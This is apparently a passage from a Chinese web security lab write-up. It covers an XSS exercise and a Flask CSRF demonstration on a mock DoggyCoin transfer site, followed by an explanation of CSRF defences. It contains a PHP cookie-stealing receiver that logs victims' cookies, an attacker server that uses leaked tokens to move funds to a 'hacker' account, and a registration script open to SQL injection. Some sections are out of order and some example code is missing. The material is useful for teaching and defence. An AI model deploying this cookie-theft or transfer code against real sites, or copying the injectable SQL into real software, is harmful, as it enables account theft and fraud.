color: #fff; /* 按钮字体颜色 */
font-size: 20px;
border: none;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
cursor: pointer;
transition: all 0.2s ease-in-out;
}
.sub:hover{
background-color: #ff8000; /* 按钮背景颜色 */
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4);
}
.nav{
padding-top: 80px;
padding-left: 115px;
width: 260px;
}
img{
width: 100%;
height: 100%;
}
</style>
</head>
<body>
<div class="main">
<form class="nav" action="regin.php" method="post">
<label>用户名</label><br>
<input type="text" name="username"><br>
<label>密码</label><br>
<input type="password" name="password"><br>
<input type="submit" value="注册" class="sub">
</form>
</div>
</body>
</html>
regin.php
<?php
$conn=mysqli_connect("localhost",'root','123456') or die("数据库连接失败!");
mysqli_select_db($conn,'xsstest') or die("您要选择的数据库不存在");
$name=trim($_POST['username']);
//trim函数,过滤空格,如果不加,我们在用户名后面添加很多空格,提交表单,打开firebug
//调试工具,我们可以到输入的用户名后面会有很多空格,使用trim函数,我们可以把表单中空格给过滤掉
$password=$_POST['password'];
$sql = "select * from user where username='$name'";
$info = mysqli_query($conn, $sql);
$res = mysqli_num_rows($info);
if(empty($name)){
echo "<script>alert('用户名不能为空');location.href='reg.php';</script>";
}else if(empty($password)){
echo "<script>alert('密码不能为空');location.href='reg.php';</script>";
}else{
if($res){
echo "<script>alert('用户名已存在');location.href='reg.php';</script>";
}else{
$sql1 ="insert into user(username,password) values('".$name."','" .($password)."')";
$result = mysqli_query($conn, $sql1);
if($result){
echo "<script>alert('注册成功')</script>",header("Location:login.php");;
}else{
echo "<script>alert('注册失败')</script>";
}
}
}
?>
test.php
<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('cookie.txt', 'a');
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".
$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp);
header("Location: http://www.bing.com");
?>
CSRF攻击
CSRF攻击利用了受害者已经通过身份验证并且在一个网站上建立的有效会话,来执行未经授权的操作。当受害者在一个网站上登录并获得一个会话(例如通过使用用户名和密码进行身份验证),该网站会为其分配一个令牌或会话ID,以便在后续的请求中验证用户的身份。
CSRF攻击者会通过诱使受害者访问一个恶意网站或点击恶意链接,来利用受害者的已验证会话。由于受害者在浏览器中仍然保持着有效会话,攻击者可以构造特制的请求,以利用该会话来执行恶意操作,而这些操作是受害者并不知情或未经授权的。
例如,假设受害者在银行网站上登录并建立了一个有效的会话。攻击者可以通过电子邮件或社交媒体发送一个包含恶意链接的消息给受害者。如果受害者点击了该链接,他们的浏览器将自动向银行网站发送一个请求,而这个请求中包含了受害者的有效会话信息。银行网站在验证会话时会认为这个请求是合法的,因为会话是有效的,所以它执行了该请求所代表的操作,如转账、修改账户信息等,而受害者是毫不知情的。
CSRF攻击的目标是利用受害者的已验证会话来执行攻击者所期望的未经授权操作,从而导致受害者的损失或者对系统的安全产生威胁。
1、补充知识
cookie
一般情况下,cookie是以键值对进行表示的(key-value),例如name=jack,这个就表示cookie的名字是name,cookie携带的值是jack。
cookie有2种存储方式,一种是会话性,一种是持久性。
会话性:如果cookie为会话性,那么cookie仅会保存在客户端的内存中,当我们关闭客服端时cookie也就失效了 持久性:如果cookie为持久性,那么cookie会保存在用户的硬盘中,直至生存期结束或者用户主动将其销毁。
组成
(1)cookie名称 (2)cookie值 (3)Expires:过期时间。当过了过期时间后,浏览器会将该cookie删除。如果不设置Expires,则关闭浏览器后该cookie失效。 (4)Path:用来设置在路径下面的页面才可以访问该cookie,一般设为/,以表示同一站点的所有页面都可以访问该cookie。 (5)Domain:用来指定哪些子域才可以访问cookie,格式一般为“.XXX.com” (6)Secure:如果设置了secure没有值,则代表只有使用HTTPS协议才可以访问 (7)HttpOnly:如果在cookie中设置了HttpOnly属性,那么通过JavaScript脚本等将无法读取到cookie信息。
URL
URL(统一资源定位符)的一般格式如下:
scheme://host:port/path?query_parameters#fragment_identifier
具体解释如下:
- Scheme(协议):指定用于访问资源的协议,例如HTTP、HTTPS、FTP等。它是URL的开头部分,通常以双斜杠(//)结尾。
- Host(主机):指定目标资源所在的主机名或IP地址。主机名可以是域名(例如example.com)或IP地址(例如192.168.0.1)。
- Port(端口):指定用于访问目标资源的端口号(可选)。默认的端口号根据协议而不同,如HTTP默认端口是80,HTTPS默认端口是443。如果URL中没有指定端口,将使用默认端口。
- Path(路径):指定资源在服务器上的路径(可选)。路径部分是指服务器上资源的具体位置,可以是文件路径或目录路径。
- Query Parameters(查询参数):包含在URL中的键值对参数(可选)。查询参数通常用于向服务器传递额外的信息,多个参数之间使用”&“符号分隔。
- Fragment Identifier(片段标识符):用于标识文档中的特定片段(可选)。片段标识符通常由一个锚点或特定位置的标识符组成,用于在文档中导航到指定位置。
2、实验过程
使用Flask框架进行构建web应用。
1、文件架构
├── web-csrf/
│ ├── webA.py
│ ├── webB.py
│ ├── templates/
│ │ ├── home.html
│ │ ├── login.html
│ └── static/
│ └── style.css
2、源码
webA:
# webA.py
import hashlib
import re
import mysql.connector
from flask import Flask, request, render_template, make_response
app = Flask(__name__)
db = mysql.connector.connect(
host="localhost",
user="root",
password="111111",
database="web-csrf"
)
cursor = db.cursor()
# 登录功能
@app.route('/')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
# 检查用户名和密码是否匹配,参数化查询的方式
query = "SELECT * FROM user WHERE id = %s AND pwd = %s"
cursor.execute(query, (username, password))
user = cursor.fetchone() # fetchone方法从查询结果中获取一条记录,以元组的形式返回
cursor.fetchall() # fetchall方法从查询结果中获取所有记录,以元组的形式返回
if user:
user_id = user[0]
user_token = hashlib.md5()
user_token.update((user_id + str(request.cookies.get('timestamp'))).encode('utf-8'))
response = make_response(render_template('home.html', user_id=user[0], balance=user[3],user_token=user_token.hexdigest()))
# 用户标识为用户ID和当前时间的md5摘要,在cookie中设置用户身份标识
user_id = user[0]
user_token = hashlib.md5()
user_token.update((user_id + str(request.cookies.get('timestamp'))).encode('utf-8'))
response.set_cookie('user_id', user_id)
response.set_cookie('user_token', user_token.hexdigest())
# 将cookie中的用户身份标识存入数据库
query = "UPDATE user SET cookie = %s WHERE id = %s"
cursor.execute(query, (user_token.hexdigest(), user_id))
db.commit()
return response
else:
return "用户名或密码错误"
return render_template('login.html')
# 转账功能
@app.route('/transfer', methods=['POST'])
def transfer():
user_id_cookie = request.cookies.get('user_id')
user_token_cookie = request.cookies.get('user_token')
if not user_id_cookie or not user_token_cookie:
return "你的用户身份已过期,请重新登录"
# 比较user_token是否与数据库中的cookie一致
# 根据user_id从数据库中获取cookie
cursor.fetchall()
query = "SELECT cookie FROM user WHERE id = %s"
cursor.execute(query, (user_id_cookie,))
cookie = cursor.fetchone()[0]
if cookie != user_token_cookie:
return "cookie匹配失败!你的用户身份已过期,请重新登录"
# 获取转账目标用户的ID和金额
target_id = request.form['target_id']
amount = request.form['amount']
# 检测转账金额是否合法
# 用正则表达式匹配小数
if not re.match(r'^\d+(\.\d+)?$', amount):
return "转账金额必须为数字"
if float(amount) <= 0:
return "转账金额必须大于0"
# 检查转账目标用户是否存在
cursor.fetchall()
query = "SELECT * FROM user WHERE id = %s"
cursor.execute(query, (target_id,))
target = cursor.fetchone()
if not target:
return "目标账户不存在"
# 检测当前账户是否有这么多钱
cursor.fetchall()
query = "SELECT * FROM user WHERE id = %s"
cursor.execute(query, (user_id_cookie,))
user = cursor.fetchone()
if user[3] < float(amount):
return "余额不足"
# 执行转账操作
cursor.fetchall()
query = "UPDATE user SET balance = balance - %s WHERE id = %s"
cursor.execute(query, (amount, user_id_cookie))
query = "UPDATE user SET balance = balance + %s WHERE id = %s"
cursor.execute(query, (amount, target_id))
db.commit()
# 更新账户信息,返回网站
cursor.fetchall()
query = "SELECT * FROM user WHERE id = %s"
cursor.execute(query, (user_id_cookie,))
user = cursor.fetchone()
return render_template('home.html', user_id=user[0], balance=user[3], user_token=user[2],transfer_success=True)
if __name__ == '__main__':
app.run()
webB
import mysql.connector
from flask import Flask, request
app = Flask(__name__)
db = mysql.connector.connect(
host="localhost",
user="root",
password="111111",
database="web-csrf"
)
cursor = db.cursor()
# 转账请求
@app.route('/')
def csrf_attack():
user_id_cookie = request.args.get('user_id')
user_token_cookie = request.args.get('user_token')
if user_token_cookie or user_id_cookie:
# 模拟服务器的验证操作,通过user_id_cookie查询对应的user_token,检查user_token_cookie是否与user_token相同,相同就允许执行转账操作
query = "SELECT cookie FROM user WHERE id = %s"
cursor.execute(query, (user_id_cookie,))
user_token = cursor.fetchone()[0]
if user_token == user_token_cookie:
# 执行转账操作
cursor.fetchall()
query = "UPDATE user SET balance = balance - 100 WHERE id = 'user_id_cookie'"
cursor.execute(query)
query = "UPDATE user SET balance = balance + 100 WHERE id = 'hacker'"
cursor.execute(query)
db.commit()
return "<h1 style='color: red; text-align: center; padding: 20px;'>CSRF攻击执行成功!</h1>"
else:
print("user_token:", user_token)
print("user_token_cookie:", user_token_cookie)
return "Invalid user credentials"
else:
return "没有得到cookie信息,无法发起CSRF攻击"
if __name__ == '__main__':
# 将 webB 运行在 localhost 的 5001 端口上
app.run()
login.html
<!-- login.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DoggyCoin用户登录</title>
<link rel="stylesheet" type="text/css" href="../static/style.css">
</head>
<body>
<h1>DoggyCoin用户登录</h1>
<form action="/login" method="POST">
<div>
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required>
</div>
<div>
<label for="password">密码:</label>
<input type="password" id="password" name="password" required>
</div>
<div>
<button type="submit">登录</button>
</div>
</form>
</body>
</html>
home.html
<!-- home.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DoggyCoin充值转账中心</title>
<link rel="stylesheet" type="text/css" href="../static/style.css">
</head>
<body>
<div class="container">
<div class="user-info">
<span class="username">当前用户: {{ user_id }}</span>
<a class="logout-link" href="/login">退出登录</a>
</div>
</div>
<h1>欢迎访问DoggyCoin转账中心</h1>
<h2>账户余额: {{ balance }}</h2>
<script>
// 检查是否存在转账成功的消息
var transferSuccess = "{{ transfer_success }}";
if (transferSuccess) {
// 显示转账成功的消息提示框
alert("转账成功!");
}
</script>
<form action="/transfer" method="POST">
<div>
<label for="target_id">转账ID:</label>
<input type="text" id="target_id" name="target_id" required>
</div>
<div>
<label for="amount">转账金额:</label>
<input type="text" id="amount" name="amount" required>
</div>
<div>
<button type="submit">确认转账</button>
</div>
</form>
<a href="http://127.0.0.1:5001?user_id={{ user_id }}&user_token={{ user_token }}">一般人都不知道的DoggyCoin转账技巧!特殊转账技巧转一送一!</a>
</body>
</html>
style.css
/* style.css */
body {
background-color: #f2f2f2;
font-family: Arial, sans-serif;
}
.container {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px;
background-color: #fff;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.logo {
font-size: 24px;
font-weight: bold;
}
.user-info {
display: flex;
align-items: center;
}
.user-info .username {
margin-right: 10px;
}
.logout-link {
margin: 0;
display: flex;
align-items: center;
color: #4CAF50;
text-decoration: none;
}
h1 {
color: #333;
text-align: center;
}
form {
max-width: 400px;
margin: 0 auto;
padding: 20px;
background-color: #fff;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
label {
display: block;
margin-bottom: 10px;
font-weight: bold;
}
input[type="text"],
input[type="password"] {
width: 94%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 3px;
}
button {
display: block;
width: 100%;
padding: 10px;
margin-top: 10px;
background-color: #4CAF50;
color: #fff;
border: none;
border-radius: 3px;
cursor: pointer;
}
h2 {
margin-top: 20px;
font-size: 18px;
text-align: center;
}
a {
display: block;
text-align: center;
margin-top: 20px;
color: #4CAF50;
text-decoration: none;
}
3、实现原理
webA是一个存在CSRF漏洞的虚拟货币的转账网站,网站上存在着一些虚假宣传的诈骗广告,其中“一般人都不知道的DoggyCoin转账技巧!特殊转账技巧转一送一!”这个链接地址就是一中模拟的诈骗手段。
当用户点击这个链接,就会带着在webA中的登录信息(cookie)去访问webB,构建这个webB的黑客就可以获取到用户B的cookie信息,并且向webA发送请求转账的请求,就可以绕过服务器的验证达到冒充用户去进行转账操作。
4、实现难点
webA需要具备登录登出、转账、转账时需要token进行验证等必备功能;
webB需要具备使用用户的cookie数据向webA发送转账的请求,而不仅仅是在本地直接操作数据库实现修改数据;
数据库中需要存放用户ID、用户密码、用户的cookie、账户余额等信息;
对于cookie数据的保存、设计、更新策略。
5、实验过程
1、数据库的设计
数据库中主要包含"id”, “pwd”, “cookie”, “balance"字段,id是他们的登陆账户名,pwd是登陆密码,cookie表示他们的用户安全令牌,当转账的时候需要进行验证,balance表示账户余额。通过数据生成出一批用户。
其中hacker代表黑客,其他的都是普通用户。
2、验证webA功能的完整性
webA从服务器启动之后,运行在本地的5000端口上,进行访问之后会出现用户的登陆界面,输入在数据库中注册的用户名和密码进行登录。
登录成功之后会进入到DoggyCoin转账中心,在网站左上角显示当前的登陆用户名和退出登录返回登录页面的按钮,中间的form表单就是正常进行转账操作的地方,输入正确的转账ID和合法的转账金额之后就能够进行转账操作。
这里也简单的进行了一些对于非法输入的防护,以防止出现服务器内部错误。比如对于转账ID的是否存在,转账金额是否大于0,使用正则表达式匹配转账金额小数点的情况等等。
3、进行CSRF漏洞的利用攻击。
当用户在登录webA的时候,服务器根据user1的id和登陆时间在后台生成一个md5摘要作为user1的cookie,存储在数据库中并且返回给user。
在webA上有一个诈骗链接,就是在转账表单下方的绿色链接“一般人都不知道的DoggyCoin转账技巧!特殊转账技巧转一送一!”,这个就是模拟的一个网页上的弹窗或者是通过电子邮件等方式,诱使用户点击从当前网页转到另外一个网页上,该链接的HTML为:
<a href="http://127.0.0.1:5001?user_id={{ user_id }}&user_token={{ user_token }}">一般人都不知道的DoggyCoin转账技巧!特殊转账技巧转一送一!</a>
当用户点击链接之后就会带着当前网站上的cookie信息去访问webB,而webB的后台就从这个链接中获取到用户的user_id和user_token信息,就可以进行转账的操作了,就自动地从当前用户向hacker账户中转账100
webB是运行在本地的5001端口上的,当直接访问127.0.0.1:5001的时候,由于没有进行user_id和user_token的转发,所以在webB上无法得到用户的信息,也就不能够进行CSRF攻击。
6、防护策略
在防御CSRF(Cross-Site Request Forgery)攻击时,验证HTTP Referer字段是一种常见的方法之一。HTTP Referer字段用于指示请求的源头,即告诉服务器该请求是从哪个页面发起的。通过验证HTTP Referer字段,可以确保请求来源于预期的页面,从而减少CSRF攻击的风险。
要实现验证HTTP Referer字段的防御措施,可以按照以下步骤进行:
- 在服务器端验证:当服务器接收到请求时,首先检查HTTP头部中的Referer字段。该字段包含了请求的来源页面的URL。服务器可以通过比较Referer字段的值与预期的来源页面的URL进行验证。如果Referer字段的值与预期不符,服务器可以拒绝该请求。
- 验证来源页面的域名:为了增加安全性,可以进一步验证Referer字段中的来源页面域名。服务器可以检查Referer字段中的域名与当前请求的域名是否一致。这可以防止攻击者通过篡改Referer字段来绕过验证。
- 考虑Referer字段的可靠性:需要注意的是,Referer字段并非百分之百可靠,因为它可以被篡改或者被一些浏览器或代理程序禁用。因此,验证Referer字段应该作为综合的安全策略的一部分,而不是单一的依赖点。
1、攻击简介
CSRF(Cross Site Request Forgery,跨站域请求伪造)
与XSS攻击不同之处:XSS 利用站点内的信任用户,而 CSRF 则通过伪装成来自受信任用户的请求来利用受信任的网站。
其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。 CSRF攻击攻击原理及过程如下:
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A; 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B; 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A; 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。 两个条件:
C 用户访问站点 A 并产生了 cookie C 用户没有退出 A 同时访问了 B 以下情况都是 CSRF 攻击的潜在风险:
你不能保证你登录了一个网站后,不再打开一个 tab 页面并访问另外的网站。 你不能保证你关闭浏览器了后,你本地的 Cookie 立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了…) 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
2、CSRF 的危害
你这可以这么理解 CSRF 攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF 能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全。
3、CSRF 的攻击类型
GET型 如果一个网站某个地方的功能,比如用户修改邮箱是通过GET请求进行修改的。如:/user.php?id=1&email=123@163.com ,这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ,然后通过各种手段发送给被攻击者,诱使被攻击者点击我们的链接,当用户刚好在访问这个网站,他同时又点击了这个链接,那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了
POST型 在普通用户的眼中,点击网页->打开试看视频->购买视频 是一个很正常的流程。可是在攻击者的眼中是不正常的,这是由于开发者安全意识不足所造成的。
攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如:/coures/user/handler/25332/buy.php 。通过提交表单,buy.php处理购买的信息,这里的25532为视频ID。那么攻击者现在构造一个链接,链接中包含以下内容:
1 2 3 4 当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了 id 为 25332 的视频,从而导致受害者余额扣除。
4、CSRF 的防御
4.1 验证 HTTP Referer 字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址 。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。因此,要防御 CSRF 攻击,网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
优点: 这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。
缺点:
然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以 篡改 Referer 值 。如果网站支持IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。 即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。
4.2 在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于 在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中 。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
优点: 这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并 放于 session 之中 ,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。
缺点:
但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。 该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。
4.3 在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
缺点:
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。 另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。
5、WAF 防御 CSRF
以上防御是技术层面的讨论。实际中进行 CSRF 防护的是使用 WAF(Web应用防火墙,如免费的ShareWAF)。因为 CSRF 只是众多web攻击中的一种,网络攻击还有很多种。WAF可以抵御绝大多数的攻击,可极大的提高网站安全性。
6、实验环境搭建
WebA
具有登录的功能
存在CSRF漏洞,对于登录的用户返回一个cookie
WebB
能够发送访问WebA的请求